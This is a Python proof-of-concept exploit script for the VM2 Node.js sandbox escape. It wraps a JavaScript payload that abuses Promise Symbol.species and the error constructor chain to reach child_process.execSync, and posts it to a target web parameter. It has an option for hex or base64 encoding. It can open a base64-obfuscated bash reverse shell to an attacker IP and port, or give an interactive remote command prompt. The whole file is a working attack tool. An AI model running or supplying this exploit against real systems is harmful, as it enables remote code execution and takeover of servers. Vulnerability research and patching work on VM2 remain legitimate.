exploit.py

import re
import requests
import sys
import base64
from requests_toolbelt.utils import dump
import cmd
import readline
import json

# PoC Exploit for VM2 Sandbox Escape Vulnerabilities (All Versions)
# Author : Ravindu Wickramasinghe | rvz 
# Credits : Xion (SeungHyun Lee) of "KAIST Hacking Lab" for disclosing these vulnerabilities and providing detailed analysis.

custom = False
temp = []
data = payload = curl = enc_type = param = ip = port = None

def extract_data(request_data):
        #print("\033[32m[>]\033[0m curl : ", request_data)
        url_pattern = re.compile(r"curl '([^']+)'")
        urlm = url_pattern.search(request_data)
        url = urlm.group(1) if urlm else None
        params_pattern = re.compile(r"--data-raw '{([^}]+)}'")
        pm = params_pattern.search(request_data)
        params_str = pm.group(1) if pm else None
        params = dict(re.findall(r'(\w+):([^,}]*)', params_str) if params_str else [])        
        headers_pattern = re.compile(r"-H '([^:]+): ([^']+)'")
        headers_matches = headers_pattern.findall(request_data)
        headers = {key: value for key, value in headers_matches}
        return url, params, headers


def send(url,headers,params,payload):
    pdata = encode_payload(vm2payload)

    if not custom:
        params[list(params.keys())[0]] = pdata
    else:
        params[param] = pdata

    # if provinding a url these headers will be used! update if necessary
    # -------------------------------------------------------------------
    if headers==None:
        headers = {
        'Content-Type': 'application/json'
        }
    # -------------------------------------------------------------------

    for key, value in params.items():
        temp.append("\"" + key + "\":\"" + value + "\"")
    params = "{" + ",".join(temp) + "}"

    if verbose:
        print("\033[31m[!]\033[0m if this is not the parameter you want to select add --param=your_param")
        print(f"\033[32m[>]\033[0m selected parameter: {param}")
        #print("\033[32m[>]\033[0m payload: ",pdata)
        #print("\033[32m[>]\033[0m request's data: ",params)

    response = requests.post(url, data=params, headers=headers)
    data = dump.dump_all(response)
    if verbose:
        print(data.decode('utf-8'))
    try:
        values = list(json.loads(response.text).values())
        print(values[0])
    except json.JSONDecodeError:
        print(response.text)


def vm2_payload_gen(cmd):
    payload = '''
    const {VM} = require("vm2");
    const vm = new VM();

    const code = `
    cmd = "'''+cmd+'''"
    async function fn() {
        (function stack() {
            new Error().stack;
            stack();
        })();
    }
    p = fn();
    p.constructor = {
        [Symbol.species]: class FakePromise {
            constructor(executor) {
                executor(
                    (x) => x,
                    (err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync(cmd); }
                )
            }
        }
    };
    p.then();
    `;

    console.log(vm.run(code));'''
    if verbose:
        print("\033[32m[>]\033[0m vm2-payload: \n","-"* 20,payload,"\n","-"* 20)
    return payload


    
def encode_payload(vm2payload):
    if enc_type:
        if verbose:
            #print(f"\033[32m[>]\033[0m payload encoding: {enc_type}")
            pass
        pdata = vm2payload.encode('utf-8').hex() if enc_type == 'hex' else base64.b64encode(vm2payload.encode('utf-8')).decode('utf-8')
    else:
        pdata=vm2payload
    return pdata


try:
    request_data = sys.argv[1]
    for arg in sys.argv[1:]:
        if arg == '--hex': enc_type = 'hex'
        if arg.startswith('--param='): param = arg.split("=")[1]
        elif arg == '--base64': enc_type = 'base64'
        elif arg.startswith('--ip='): ip = arg.split("=")[1]
        elif arg.startswith('--port='): port = arg.split("=")[1]

except:
    print("./usage <curl-request-or-target-url>")
    exit()

if request_data.startswith("curl"):
    url, params, headers = extract_data(request_data)
    print("\033[32m[>]\033[0m target url: ", url)
    print("\033[32m[>]\033[0m params: ",params)
    try:
        print("\033[32m[>]\033[0m extracted parameter: ", list(params.keys())[0])
    except:
        pass
    curl = True

elif request_data.startswith("http"):
    url = request_data
    params = {}
    headers = None
    print("\033[32m[>]\033[0m target url:", url)
    curl = False
else:
    print("./usage <curl-request-or-target-url>")
    exit()

if param==None or custom==True:
    try:
        param=list(params.keys())[0]
    except:
        print("\033[31m[!]\033[0m since you're providing a url you've to specifiy the parameter use --param")
        exit()
else:
    params={param:""}
verbose = True    

if ip != None and port != None:
    payload = f"bash -i >& /dev/tcp/{ip}/{port} 0>&1"
    payload = "echo " + base64.b64encode(payload.encode('utf-8')).decode('utf-8') + " | base64 -d | bash"
    print("\033[32m[>]\033[0m payload : ",payload)
    vm2payload = vm2_payload_gen(payload)
    send(url,headers,params,payload)
else:
    while True:
        verbose = False 
        user_input = input(" > ")
        if user_input.lower() == 'exit':
            break
        try:
            payload = user_input
            vm2payload = vm2_payload_gen(payload)
            send(url,headers,params,payload)
        except Exception as e:
            print(f"\033[31m[!]\033[0m error : {e}")